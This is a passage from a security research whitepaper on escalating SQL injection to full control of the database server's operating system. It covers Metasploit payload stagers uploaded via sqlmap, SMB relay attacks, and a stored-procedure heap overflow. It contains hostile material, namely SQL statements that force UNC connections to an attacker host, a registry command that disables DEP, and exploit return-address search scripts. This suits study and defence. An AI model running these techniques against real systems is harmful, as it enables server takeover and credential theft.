• Algorithm to encode the payload: at the time of writing Metasploit supports
twelve dierent encoders.

Based on the user's options, sqlmap creates the payload stager, encodes it and packs
it with UPX[17]: an executable payload originally 9728 bytes is resized to 2560 bytes
and consequently quicker to upload via SQL injection.

The payload executables generated by Metasploit Framework 3 automatically han-
dles and bypasses operating system memory protections:

• The ELF payload stager for Linux has the shellcode that resides in a memory
zone already marked as executable so that no memory protection bypass is
needed;

• On Windows, the Data Execution Prevention, described on paragraph 11.2, is
bypassed by allocating the memory page as readable, writable and executable
before copying the shellcode on it and executing it. This is dened on the
Metasploit's template le used to generate the portable executable payload
stager.

23
The multi/handler exploit is a stub that provides all of the features of the Metasploit pay-
load system to exploits or stand-alone payload stagers that have been launched outside of the
Metasploit Framework.
24
The shell payload spawns a piped command shell, on Linux usually it is bash and on Windows
it is the command prompt cmd.
25
The Meterpreter is an advanced multi-function payload that can be dynamically extended at
run-time. In normal terms, this means that it provides you with a basic shell and allows you to
add new features to it as needed.
26
The VNC server payload allows the attacker to access the desktop of the database server if the
Administrator is logged in.

23

9.2 Session 10 SMB RELAY ATTACK

9.2 Session

After the payload stager is created, it is uploaded, as explained on page 10, via
batched queries SQL injection technique to an absolute le system path on the
database server where the user running the back-end DBMS process has read and
write access: /tmp on Linux and UNIX systems and C:WINDOWSTemp on Windows.
The payload stager upload requires six HTTP requests on Microsoft SQL Server,
nine on MySQL and twelve on PostgreSQL.

At this point Metasploit's msfcli tool is executed on the attacker host using the
multi-handler exploit with the user's options provided to create the payload stager:
this requires some time because msfcli tool loads in memory all the Metasploit
modules.
The payload stager is then executed on the database server via sys_exec() func-
tion on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL Server
and the full-duplex out-of-band connection is established.
The control of the connection is now passed to the multi-handler exploit which,
depending on the payload chosen, sends the intermediate stager and the DLL (for
Meterpreter and VNC) to the database server endpoint before initializing the session.
Over this connection, the attacker interacts with the database server underlying
operating system, being it a terminal, a Meterpreter console or a VNC graphical user
interface.

It is important to note that the payload stager is executed on the database server
with the privileges of the user running the back-end DBMS server process. How-
ever, under certain circumstances on Windows, it is possible to perform a privilege
escalation to SYSTEM as explained on page 32.

10 SMB relay attack
The SMB authentication relay attack was researched in 1996 by Dominique Brezinski
and explained in his paper titled A Weakness in CIFS Authentication [12] presented
at Black Hat USA 1997.
The rst public tool to implement this attack, SMBRelay2[18], was released by
Josh Buchbinder during @tlanta convention on March 31, 2001.

This vulnerability allows an attacker to redirect an incoming SMB connection back
to the machine it came from and then access the victim machine using the victim's
own credentials, this attack is also known as SMB credential reection.

H D Moore well explained on Metasploit blog[15] how the exploit works:

The Metasploit module takes over the established, authenticated SMB
session, disconnects the client, and uses the session to upload and exe-
cute shellcode in a manner similar to how psexec.exe operates. First, a
Windows executable is created that acts like a valid Windows service and
executes the specied Metasploit payload. This payload is then uploaded
to the root of the ADMIN$ share of the victim. Once the payload has been

24

10.1 Universal Naming Convention 10 SMB RELAY ATTACK

uploaded, the Service Control Manager is accessed over DCERPC (using
a named pipe over SMB) and used to create a new service (pointing at
the uploaded executable) and then start it. This service creates a new
suspended process, injects the shellcode into it, resumes the process, and
shuts itself down. The module then deletes the created service. At this
point, the attacker has a remote shell (or other payload session) on the
victim.

It is unlikely that this attack will be successful over the Internet because usually
rewalls lter incoming connections on SMB specic ports: 139/TCP and 445/TCP,
but within local area networks they usually do not. Other requirements for the SMB
reection attack to be successful are that the victim's user must have administrative
privileges and that the system must be congured to allow remote network logins.

On November 11, 2008, twelve years after the vulnerability was publicly disclosed,
Microsoft released security bulletin MS08-068[24] (CVE-2008-4037). This bulletin
includes a patch which prevents the relaying of challenge keys back to the same host
which issued them: if a Windows server has this patch applied, the exploitation of
this aw does not work.

10.1 Universal Naming Convention

The Universal Naming Convention (UNC) species a common syntax to describe the
location of a network resource, such as a shared le, directory, or printer.
An example of UNC path for Windows systems is as follows:

AttackerAddressExamplePathFilename.txt

This syntax allows a Windows client to access the path ExamplePathFilename.txt
on the AttackerAddress via SMB.
If AttackerAddress denies access to anonymous user (NULL session), the client
automatically authenticates using the username of the logged-in user, domain, and
his hashed password encrypted with the server-supplied challenge key.

10.2 Abuse UNC path requests

The UNC path request syntax can be abused to perform a SMB relay attack via
SQL injection if the underlying operating system is Windows.
By executing Metasploit's SMB relay exploit, exploits/windows/smb/smb_relay.rb[77],
on the attacker host and forcing the database server to access the attacker's fake SMB
service, it can be possible to exploit the design aw by performing the SMB reection
attack.
Also with this exploit, the attacker has a variety of options to choose to forge the
payload, but in this case the payload will be sent directly from the SMB relay exploit
after a successful exploitation of the SMB design aw.

25

11 STORED PROCEDURE BUFFER OVERFLOW

10.2.1 MySQL
On MySQL it is possible to request a resource and initiate a SMB session via UNC
path request through either batched query or UNION query SQL injection. The
SQL statement is as follows:

SELECT LOAD_FILE('AttackerAddressfoobar.txt')

The session user must have the FILE privilege.
However it is unlikely that this attack will be successful because by default MySQL
on Windows runs as Local System which is not a real user, it does not send the
NTLM session hash when connecting to a SMB service.
If MySQL database is started as Administrator, this attack can be successful.

10.2.2 PostgreSQL
The SQL statements to perform a reverse UNC path request to the attacker host via
batched queries SQL injection is as follows:

CREATE TABLE footable(foocolumn text);
COPY footable(foocolumn) FROM 'AttackerAddressfoobar.txt'
The session user must be a super user.
However it is unlikely that this attack will be successful because by default Post-
greSQL on Windows runs as postgres user which is a real user of the system, but
not within the Administrators group.

10.2.3 Microsoft SQL Server
A possible SQL statement to perform a reverse UNC path request to the attacker
host via batched queries SQL injection is as follows:

EXEC master..xp_dirtree 'AttackerAddressfoobar.txt'

The session user needs to have EXECUTE privileges on the extended stored proce-
dure, which all database users have by default.
By default Microsoft SQL Server 2000 runs as Administrator, consequently this
attack shall be successful whereas on Microsoft SQL Server 2005 and 2008 it is un-
likely that this attack will be successful because it runs usually as Network Service
which is not a real user, it does not send the NTLM session hash when connecting
to a SMB service.

11 Stored procedure buer overow
On December 4, 2008, Bernhard Mueller from SEC Consult Vulnerability Lab re-
leased an advisory titled Microsoft SQL Server sp_replwritetovarbin limited memory
overwrite vulnerability [6].

26

11.1 Exploit 11 STORED PROCEDURE BUFFER OVERFLOW

It is an heap-based buer overow on Microsoft SQL Server 2000 Service Pack 4
and earlier patch levels and Microsoft SQL Server 2005 Service Pack 2 and earlier
patch levels. A successful exploitation of this security aw allows an authenticated
database users to cause a denial of service (Access Violation Exception) or to execute
arbitrary code on the underlying operating system.
It is possible to exploit this vulnerability by calling the vulnerable Microsoft SQL
Server stored procedure, sp_replwritetovarbin, with a set of invalid parameters
that trigger a memory overwrite condition to a location controlled by the attacker.

At the time of writing this paper, no public exploit is available for this vulner-
ability except for a proof of concept[14] released by Guido Landi that exploits the
vulnerability specically on Microsoft SQL Server 2000 running on Windows 2000
Service Pack 4.
Two commercial exploits are available on two dierent commercial exploitation
frameworks: on Immunity Canvas[16], the exploit is a one-shot only exploit and it
seems to be written to work only through a direct connection to the database server
and on Core Impact[10].
One interesting thing about this heap-based buer overow vulnerability is that it
is possible to trigger the bug through a SQL injection also, moreover the session user
does not need any administrative access on the DBMS: he needs to have EXECUTE
privilege on the extended stored procedure, which all database users have by default.

On February 10, 2009 Microsoft released security bulletin MS09-004[25] (CVE-
2008-5416). This bulletin addresses this security aw: if a Windows server has this
patch applied, the exploitation of this issue does not work.

11.1 Exploit

Guido Landi decided to release a reliable stand-alone exploit for this vulnerability
with the publication of this white paper. I added support to the exploit for multi-
stage payload generated by Metasploit's msfpayload and integrated it in sqlmap[4]
to be able to exploit the vulnerability also via SQL injection.
Guido also explains his exploit as follows.

It could be pretty hard to achieve arbitrary code execution through heap-based
buer overow vulnerabilities if the attacker intent is to exploit the system routines
that manage the heap memory. Nevertheless, in this exploit we are going to use the
buer overow to overwrite a function pointer thus achieving arbitrary code execu-
tion.

When the vulnerable stored procedure is called with a set of invalid parameters a
rst exception is raised by the processor:

MOV DWORD PTR DS:[EAX+4],EDI

Both the EAX and the EDI registers are attacker-controlled: the former comes di-
rectly from our buer, the latter is related to the buer length. Even if this is an
(almost) arbitrary memory overwrite, it could be hard to use this to achieve code

27

11.1 Exploit 11 STORED PROCEDURE BUFFER OVERFLOW

execution. Actually this exception and the others that follow will be handled fairly
by the Microsoft SQL Server process through the installed Windows Structured Ex-
ception Handling (SEH) mechanism. That allows us to simply skip some exceptions
until we found one that will bring we to divert the execution ow.
After a sequence of exceptions the program reaches the following code:

010B0F5A . 8B42 10 MOV EAX,DWORD PTR DS:[EDX+10]
010B0F5D FFD0 CALL EAX
The memory pointed by EDX+0x10 will be deferenced and moved to EAX then EAX
will be called. Since the EDX register comes directly from our buer, we can redirect
the execution ow toward an arbitrary location, actually we will use this instruction
to achieve code execution.

The rst problem to solve is the value we want EDX to hold: since ESI and ECX
registers point to our buer where we reach that code, we want one of those being
called. To do so we need to nd a xed address that holds another xed address that
points to a series of instructions that will redirect the execution ow to our buer,
some useful instructions could be:

call ESI
call ECX
push ESI and RET
push ECX and RET
The second problem is that both ECX and EDI registers point to our buer where
the address we want to be in EDX lies. We must be sure that this address can be
interpreted as a series of instructions without raising any exception, otherwise the
process will crash and our shellcode will not be executed.
The third problem is related to the repeatability of the exploit, we want it to be
multiple shot, consequently allowing the attacker to launch it multiple times without
crashing the Microsoft SQL Server process.

Finding the right return address is often a matter of time and requires to look up
some DLLs for the instructions we need: either manually with a debugger or with
the Metasploit's msfpescan27 tool. Often it is a good idea to search for the return
address in an executable module included by the program itself, but in this case due
to the fact that dierent versions of the Microsoft SQL server exist, you better use
an address contained in one system's DLL. It is not that easy because of the level of
indirection brought by the MOV instruction that deference the EDX pointer. We can
use a little script with msfpescan that rst search for the instruction we need and
then for an address that holds a pointer to the instructions found:

27
Metasploit's msfpescan can be used to analyze and disassemble executables and DLLs, which
helps to nd the correct osets and addresses during the stage of exploitation and privilege
escalation.

28

11.2 Memory protection 11 STORED PROCEDURE BUFFER OVERFLOW

for i in $(./msfpescan -j ESI,ECX shell32.dll | grep 0x | sed
-e 's/0x//' | awk '{print $1}' | perl -e 'while() { chop;
@a=($_=~/.{2}/gm); print x,join(x,reverse(@a)), n;
}'); do ./msfpescan -r $i shell32.dll | grep 0x ; done
This will search the instructions needed to land in our buer in shell32.dll
and a pointer to one of those instructions in shell32.dll. It is also possible to
specify dierent DLL. This was done for the return address used to target Windows
2003 Service Pack 2: the instructions lie in kernel32.dll and we found a pointer to
them in ntdll.dll.

Since the address must also be interpreted and executed as a set of assembly in-
structions, we must check if those instructions can be executed without crashing the
program. The third address for instance is ne for us because interpreted as instruc-
tions turns out to be:

DCE1 FSUBR ST(1),ST
F8 CLC
7C 01 JL 0x1
These instructions will be executed and will bring us to our shellcode.

The second problem, repeatability, it is solved by appending at the end of our
shellcode a little stub of instructions that will restore the stack to the original state
using some POP instructions and will then return exactly where we diverted the
execution ow with a RET instruction. Further exceptions will be handled by the
SEH mechanism installed by the program and the Microsoft SQL Server process will
continue to run correctly.

11.2 Memory protection

Data Execution Prevention (DEP) is a security feature that prevents code execution
in memory pages not marked as executable
From Microsoft Help and Support site[26]:

DEP conguration for the system is controlled through switches in the
boot.ini le. If you are logged on as an administrator, you can now
easily congure DEP settings by using the System dialog box in Control
Panel.
Windows supports four system-wide congurations for both hardware-
enforced and software-enforced DEP.

Data Execution Prevention possible settings are:

• OptIn: only Windows system binaries are covered by DEP by default;

• OptOut: DEP is enabled by default for all processes, exceptions are allowed;

• AlwaysOn: all processes always run with DEP applied, no exceptions allowed;

• AlwaysO : no DEP coverage for any part of the system.

29

11.3 Bypass DEP 11 STORED PROCEDURE BUFFER OVERFLOW

Data Execution Prevention exists from the following Windows service packs:

• Windows XP Service Pack 2: default value is OptIn;
• Windows Server 2003 Service Pack 1: default value is OptOut[28];
• Windows Vista Service Pack 0: default value is OptIn;
• Windows 2008 Service Pack 0: default value is OptOut.
Note that it does not exist on Windows 2000 and on any previous Windows version.

11.3 Bypass DEP

Over the years dierent methods to bypass this security mechanism have been devel-
oped and publicly released. Actually they are all based on the possibility to control
at least some pointers on the stack and to chain at least two function calls after the
vulnerability has been triggered.
The rst, or the rst set, of function calls are used to disable DEP for the current
process or to mark a specic memory page as executable using VirtualAlloc /
VirtualProtect or to copy the shellcode to a memory page already marked as
executable, the second call is the one that will redirect the execution ow to the
injected shellcode.
The vulnerability in exam, MS09-004, is an heap-based buer overow that does
not permit to directly control data on the stack and so it seems not possible to chain
multiple calls together. Even if we could use some execution paths, this could lead
to almost arbitrary overwrites to create fake stack frames, being the Microsoft SQL
Server stack highly unstable, that possibility seems to be only theoretical.
If DEP is set to OptOut or to AlwaysOn, the exploit will fail because the process
will raise an access violation exception when it tries to execute code from the non
executable memory space where the shellcode resides.

A possible way to get around Data Execution Prevention when it is set to OptOut,
via SQL injection, is to add an exception for the Microsoft SQL Server executable,
sqlservr.exe, in the Windows registry then restart the database process and launch
the exploit.
The steps are:

• Create a bat le which executes the Windows reg executable to add in the Win-
dows registry an exception for Microsoft SQL Server executable, sqlservr.exe:

REG ADD HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows
NTCurrentVersionAppCompatFlagsLayers /v C:Program
FilesMicrosoft SQL ServerMSSQL.1MSSQLBinnsqlservr.exe
/t REG_SZ /d DisableNXShowUI /f
• Create a bat le which executes the Windows sc executable to restart the
Microsoft SQL Server service;


• Upload the bat les to the Windows temporary les directory;

30


• Execute the bat le to add the key name in the registry;

• Execute the other bat le to restart the Microsoft SQL Server service;

• Wait a few seconds for the Microsoft SQL Server service to restart;

• Trigger the vulnerability.

31


Part V
Privilege escalation
Metasploit's Meterpreter comes with an built-in extension that provides the at-
tacker with Windows Access Token Delegation and Impersonation abuse support:
incognito[19] developed by Luke Jennings.
This extension allows an attacker, among other features, to enumerate the Delegation
and Impersonation tokens associated with the current user and to impersonate a spe-
Administrator
cic token if the user has any: this leads to a privilege escalation to
or Local System if the corresponding token handler is within the same thread of
the process where meterpreter is running into; incognito does not support token
handles brute-forcing.

Another way to perform a privilege escalation by abusing the Windows Access
Token Delegation and Impersonation mechanism consists in using Churrasco.exe[8,
9].
Churrasco.exe is a stand-alone command-line Windows executable developed by
Cesar Cerrudo which aim is to perform Windows Access Token Kidnapping[7]. This
program takes as argument the name of the executable to run: it brute-forces the
token handles in the current process from where it is called (e.g. MySQL or Microsoft
SQL Server) and it runs the provided command with the brute-forced SYSTEM token,
if the process' user has tokens: this is a privilege escalation because the provided
command will run with higher privileges of the database process.
Churrasco.exe can be uploaded to the database server le system and used in the
context of the out-of-band connection attack (Part IV) to execute the Metasploit
payload stager as SYSTEM. This can be achieved when the database process runs
as Network Service: Microsoft SQL Server 2005 and Microsoft SQL Server 2008
often run with this user which has, by design, both Delegation and Impersonation
tokens.

32

12 ACKNOWLEDGMENTS

Part VI
Conclusion
This paper explained how to exploit a single vulnerability in a web application at
its best to get complete control of the server that runs the database, not only the
data stored in the database as usually intended: the SQL injection itself can be
considered as a stepping stone to the actual target for this research, which is the
complete control of its server: operating system access, le system access and use of
the compromised database server as a foothold in the internal network.

All the techniques described in this paper have been implemented in sqlmap[4].
sqlmap is an open source automatic SQL injection tool developed in Python by the
author of this paper. It can be downloaded from its SourceForge File List page.

12 Acknowledgments
The author thanks Sheherazade Lana for her kindness, Guido Landi for Microsoft
SQL Server buer overow exploit development and for describing in detail his exploit
in this paper, Alessandro Tanasi for technical discussions and constant support,
Alberto Revelli for his help on how to best integrate Metasploit in sqlmap, Simone
Assumpção and Martin Callingham for peer reviewing this paper and the Black Hat
team for the opportunity to present this research at Black Hat Europe 2009 Briengs
on April 16, 2009 in Amsterdam.

33

References References

References
[1] Alessandro Tanasi: SQLi: Writing les to disk under PostgreSQL. December
21, 2008.

[2] Antonin Foller: Custom xp_cmdshell, using shell object.

[3] Bernardo Damele Assumpção Guimarães: Debug scripts from binaries. January
12, 2009.

[4] Bernardo Damele Assumpção Guimarães: sqlmap: automatic SQL injection
tool.

[5] Bernardo Damele Assumpção Guimarães: sqlmap subversion repository.

[6] Bernhard Mueller: Microsoft SQL Server sp_replwritetovarbin limited memory
overwrite vulnerability. December 4, 2008.

[7] Cesar Cerrudo: Token Kidnapping

[8] Cesar Cerrudo: Windows 2003 proof of concept exploit for token kidnapping.

[9] Cesar Cerrudo: Windows 2008 proof of concept exploit for token kidnapping.

[10] Core Security Technologies: Microsoft SQL Server sp_replwritetovarbin Remote
Heap Overow Exploit. February 2, 2008.

[11] David Litcheld and others: The Database Hacker's Handbook sample codes.

[12] Dominique Brezinski: A Weakness in CIFS Authentication.

[13] GNU Project: GCC.

[14] Guido Landi: Microsoft SQL Server sp_replwritetovarbin() Heap Overow
exploit. December 17, 2008.

[15] H D Moore: MS08-068: Metasploit and SMB Relay. November 11, 2008.

[16] Immunity Security Inc: Immunity CANVAS Professional.

[17] John F. Reiser: Ultimate Packager for eXecutables. April 27, 2008.

[18] Josh Buchbinder: The SMB Man-in-the-Middle Attack. March 31, 2001.

[19] Luke Jennings: Security Implications of Windows Access Tokens. April 14, 2008.

[20] Marco Ivaldi: Dynamic library for do_system() MySQL UDF. January 18, 2006.

[21] Matt Miller: Metasploit's Meterpreter. December 26, 2004.

[22] Microsoft: Debug.

[23] Microsoft: Microsoft Visual C++ 2008 Express Edition.

[24] Microsoft: Vulnerability in SMB Could Allow Remote Code Execution
(KB957097). November 11, 2008.

34


[25] Microsoft: Vulnerability in Microsoft SQL Server Could Allow Remote Code
Execution (KB959420). February 10, 2009.

[26] Microsoft Help and Support: A detailed description of the Data Execution Pre-
vention (DEP) feature. September 26, 2006.

[27] Microsoft Help and Support: Converting Binary Data to Hexadecimal String.
February 22, 2005.

[28] Microsoft Help and Support: The Understanding Data Execution Prevention
help topic incorrectly states the default setting for DEP in Windows Server 2003
Service Pack 1. October 6, 2006.

[29] Microsoft SQL Server 2000 Books Online: xp_cmdshell().

[30] Microsoft SQL Server 2005 Books Online: xp_cmdshell(). November 2008.

[31] Microsoft SQL Server 2008 Books Online: xp_cmdshell(). February 2009.

[32] Microsoft SQL Server 2008 Books Online: WAITFOR (Transact-SQL). Febru-
ary 2009.

[33] Microsoft SQL Server 2008 Books Online: BULK INSERT (Transact-SQL).
February 2009.

[34] Microsoft SQL Server 2008 Books Online: xp_cmdshell (Transact-SQL). Febru-
ary 2009.

[35] MySQL 4.1 Reference Manual: Changes in MySQL 4.1.25. December 1, 2008.

[36] MySQL 5.0 Reference Manual: Changes in MySQL 5.0.12. September 2, 2005.

[37] MySQL 5.0 Reference Manual: CREATE FUNCTION Syntax.

[38] MySQL 5.0 Reference Manual: Release Notes for MySQL Community Server
5.0.67. August 4, 2008.

[39] MySQL 5.1 Reference Manual: Changes in MySQL 5.1.19. May 25, 2007.

[40] MySQL 5.1 Reference Manual: Server System Variables - plugin_dir.

[41] MySQL 5.1 Reference Manual: Adding a New User-Dened Function.

[42] MySQL 5.1 Reference Manual: Miscellaneous Functions: SLEEP().

[43] MySQL 5.1 Reference Manual: Information Functions: BENCHMARK().

[44] MySQL 5.1 Reference Manual: LOAD_FILE() String Function.

[45] MySQL 5.1 Reference Manual: Privileges Provided by MySQL.

[46] MySQL 5.1 Reference Manual: LOAD DATA INFILE Syntax.

[47] MySQL 5.1 Reference Manual: String Functions.

[48] MySQL 5.1 Reference Manual: SELECT Syntax.

35


[49] MySQL 5.1 Reference Manual: INSERT Syntax.

[50] MySQL 5.1 Reference Manual: UPDATE Syntax.



[53] MySQL Connector/Net 5.2.

[54] MySQL Connector/OBDC 5.1.

[55] Nico Leidecker: Having Fun With PostgreSQL. June 5, 2007.

[56] Nico Leidecker: pgshell.

[57] Open Web Application Security Project: Guide to SQL Injection. August 2008.

[58] Open Web Application Security Project: OWASP Top Ten - Injection Flaws.
July 2007.

[59] Open Web Application Security Project: Testing PostgreSQL.

[60] PostgreSQL 8.3 Manual: Release Notes for PostgreSQL 8.2. December 5, 2005.

[61] PostgreSQL 8.3 Manual: Date/Time Functions and Operators: Delaying Exe-
cution.

[62] PostgreSQL 8.3 Manual: Set Returning Functions.

[63] PostgreSQL 8.3 Manual: COPY.

[64] PostgreSQL 8.3 Manual: String Functions and Operators.

[65] PostgreSQL 8.3 Manual: Large Objects.

[66] PostgreSQL 8.3 Manual: Large Objects Server-Side Functions.

[67] PostgreSQL 8.3 Manual: pg_largeobject.

[68] PostgreSQL 8.3 Manual: CREATE.

[69] PostgreSQL 8.3 Manual: INSERT.

[70] PostgreSQL 8.3 Manual: UPDATE.

[71] PostgreSQL 8.3 Manual: Procedural Languages.

[72] PostgreSQL 8.3 Manual: C-Language Functions.

[73] PostgreSQL Npgsql .Net Data Provider.

[74] rain.forest.puppy: NT Web Technology Vulnerabilities. Phrack Magazine Volume
8, Issue 54. December 25, 1998.

[75] Roland Bouman: Creating MySQL UDFs with Microsoft Visual C++ Express.
September 24, 2007.

36


[76] The Metasploit Project: Metasploit Framework 3.

[77] The Metasploit Project: Microsoft Windows SMB Relay Code Execution exploit.

[78] The Metasploit Project: Multi-handler exploit.

[79] UDF Repository for MySQL: lib_mysqludf_sys shared library. January 25, 2009.

[80] Wikipedia on Dynamic-link library.

[81] Wikipedia on Shared Object.

37

Advanced SQL injection to operating system full control (whitepaper)

More Related Content

What's hot (20)

Viewers also liked (16)

Similar to Advanced SQL injection to operating system full control (whitepaper) (20)

Recently uploaded (20)

Advanced SQL injection to operating system full control (whitepaper)